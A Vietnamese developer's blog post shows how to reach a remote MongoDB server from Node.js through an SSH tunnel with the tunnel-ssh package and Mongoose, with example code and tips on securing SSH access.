Về mặt hình thức thì trò này cũng tương tự như việc bạn sử dụng Robo3T hay mấy phần mềm MongoAdmin tương tự, cho phép kết nối đến mongo server thông qua SSH Tunnel. Kết nối từ máy local sẽ không đi thẳng đến mongo server mà thông qua SSH trước, bằng cách này, tất nhiên sẽ không cần phải public port 27017 nữa, vẫn đảm bảo tính an toàn cho dữ liệu bên trong MongoDB. Để giữ an toàn cho việc đọc/ghi dữ liệu, đừng quên thiết lập bảo mật cho SSH (ví dụ bắt buộc đăng nhập có mật khẩu hay sử dụng private key nhằm mã hoá kết nối SSH cũng như tránh việc bị thằng mấy dạy nào đó chôm được quyền đăng nhập vào server, nhất là tài khoản root, nói tới đây tự hiểu hậu quả nhe).
Bản thân NodeJS có một vài package cho phép hỗ trợ tunnel SSH kiểu này, mình thì ưa thích dùng package tunnel-ssh. Cách sử dụng tunnel-ssh để kết nối đến mongoDB phía server được demo chi tiết trong đoạn code dưới đây
// dev-tunnel.js
import tunnel from 'tunnel-ssh'
import fs from 'fs'

const devSSHTunnel = cb => {
  const sshConfig = {
    host: 'aaa.bbb.ccc.ddd',
    username: 'root',
    agent: process.env.SSH_AUTH_SOCK,
    privateKey: fs.readFileSync(process.env.DEV_SSH_PRIVATE_KEY, 'utf-8'),
    port: 22, // An toàn hơn nữa là đổi luôn cổng mặc định của SSH
    dstPort: 27017
  }

  tunnel(sshConfig, (err, server) => {
    if (err) {
      console.error(err.message)
      return
    }
    console.log('SSH connection successfully')
    cb()
  })
}

export default devSSHTunnel

// mongoose-connect.js
import mongoose from 'mongoose'
import devSSHTunnel from './dev-tunnel'

mongoose.Promise = global.Promise
const conf = {
  useNewUrlParser: true,
  // useMongoClient: true,
  poolSize: 2,
  promiseLibrary: global.Promise
}

function connectDevelopment() {
  return new Promise(resolve => {
    devSSHTunnel(() => {
      const connectPromise = mongoose.connect(
        'mongodb://user:pass@localhost/database',
        conf
      )
      var db = mongoose.connection
      db.on('error', console.error.bind(console, 'DB connection error:'))
      db.once('open', function() {
        console.log('DB connection successful')
      })
      resolve(connectPromise)
    })
  })
}
Mình chả biết viết linh tinh mấy cái này có giúp mình bớt gãy sau 14 tiếng liền ngủ vì cơ thể kiệt sức không chịu nổi. Nhưng thôi kệ, nevermind, anh em có cái để đọc để biết là được. Haha.